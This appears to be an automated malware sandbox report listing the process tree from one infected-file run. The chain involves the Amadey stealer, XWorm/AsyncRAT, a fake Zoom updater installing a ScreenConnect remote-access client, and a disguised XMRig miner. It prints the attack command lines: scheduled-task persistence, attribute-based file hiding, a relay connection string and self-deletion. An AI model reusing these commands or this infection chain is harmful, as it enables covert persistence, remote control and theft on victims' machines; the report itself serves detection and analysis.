5e 5d c3 55 8b ec 56 68 60 dc 40 00 68 58 dc 40 00 68 60 dc 40 Data Ascii: @u2t@Wu%jh@utjju@]3]UVh(@h @h(@jtu<@^]^]%@UVh<@h4@h<@jut<@@^]UVhL@hD@hL@jut<@@^]UVh`@hX@h`@

Target ID:	0
Start time:	15:01:01
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2e0000
File size:	1'915'392 bytes
MD5 hash:	2FC42F0719A7156CB2C4EA3C999DE03C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1752435441.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1711767509.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:01:04
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x2e0000
File size:	1'915'392 bytes
MD5 hash:	2FC42F0719A7156CB2C4EA3C999DE03C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1783199135.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1742814357.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:01:05
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2e0000
File size:	1'915'392 bytes
MD5 hash:	2FC42F0719A7156CB2C4EA3C999DE03C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1786642857.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1746425189.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:02:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2e0000
File size:	1'915'392 bytes
MD5 hash:	2FC42F0719A7156CB2C4EA3C999DE03C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2295879055.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000006.00000003.2393191289.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:02:11
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016235001\software1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016235001\software1.exe"
Imagebase:	0x1e0000
File size:	46'080 bytes
MD5 hash:	A5F523E1C127D30AAA5CE1482586E8FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:02:15
Start date:	16/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:02:15
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:02:15
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\X91lnt.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\X91lnt.exe
Imagebase:	0xd30000
File size:	46'080 bytes
MD5 hash:	A5F523E1C127D30AAA5CE1482586E8FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\X91lnt.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\X91lnt.exe, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:02:25
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe"
Imagebase:	0x7ff70f330000
File size:	5'640'088 bytes
MD5 hash:	D0C12EE2B2DE8797A2AEEE409EAB842E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000002.2569883580.0000000005660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000002.2573853588.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000002.2561955372.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe, Author: Joe Security
Antivirus matches:	Detection: 18%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:02:27
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\9e47e837d725d609\ScreenConnect.ClientSetup.msi"
Imagebase:	0xdf0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:02:27
Start date:	16/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff721ad0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	15:02:27
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding E5CDA60B384156AE05B5636DFE5419D6 C
Imagebase:	0xdf0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:02:27
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6470500 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Imagebase:	0xb60000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:02:29
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 327EB0D7911EE728674347297CC5FAE5
Imagebase:	0xdf0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:02:30
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 73A58B9F36A94B7EA630D7BED49D6F14 E Global\MSI0000
Imagebase:	0xdf0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:02:30
Start date:	16/12/2024
Path:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-m858nm-relay.screenconnect.com&p=443&s=3cd214b7-5aab-4db7-9625-6ab5da5d3fae&k=BgIAAACkAABSU0ExAAgAAAEAAQAVnkKvoJ2a5Owy72d6CsGdKvHoeDC4B57FaJ6Hxr4F3MVrvri8W9EBpR76DnouoQOLdhagN9jXLv1DU9oYtbUyE5f22RxeyKb5ACDc8ergbSKA6QVCTyTw%2b3U%2fOzjOQHcKvuOA1wvUksct4fMl%2fH6deBklLuXsqF5i5v%2be0%2fy69N3M%2byB6qBKOsSPdQFoez5pkMEvZ%2bP26YFGRbMQy7WBZp%2bnngJN34UsDIkAV0RR4%2foS8UwkCPPERznjyO7T3iiIpbJgk9Xyyo9LATv0PIVIobYuVGgw6FX9yR8iM6FgVacp6H5r7KSQo5HS13%2bcfCkJbSoce8r%2fzHSz0DB93mjez"
Imagebase:	0xa00000
File size:	95'512 bytes
MD5 hash:	75B21D04C69128A7230A0998086B61AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	15:02:31
Start date:	16/12/2024
Path:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe" "RunRole" "cfa29388-3a4c-4d58-a99b-602f2ce1af9d" "User"
Imagebase:	0x9e0000
File size:	602'392 bytes
MD5 hash:	1778204A8C3BC2B8E5E4194EDBAF7135
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000014.00000002.2974697720.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	15:02:33
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\X91lnt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\X91lnt.exe"
Imagebase:	0x160000
File size:	46'080 bytes
MD5 hash:	A5F523E1C127D30AAA5CE1482586E8FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:02:38
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	15:02:42
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\X91lnt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\X91lnt.exe"
Imagebase:	0x2d0000
File size:	46'080 bytes
MD5 hash:	A5F523E1C127D30AAA5CE1482586E8FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:02:42
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7cd930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	15:02:42
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	15:02:42
Start date:	16/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff65c950000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:02:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:02:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:02:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:02:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:02:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x890000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff6ba890000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff794660000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6ba890000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6ba890000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:02:44
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:02:45
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff68c1a0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:02:46
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff74b380000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	15:02:46
Start date:	16/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2758055837.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2756046562.00000000005AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2756046562.0000000000596000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:02:46
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	15:02:46
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	15:02:46
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe"
Imagebase:	0xbb0000
File size:	1'996'288 bytes
MD5 hash:	99DD38354007AD11F18A1B615C9BB10B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
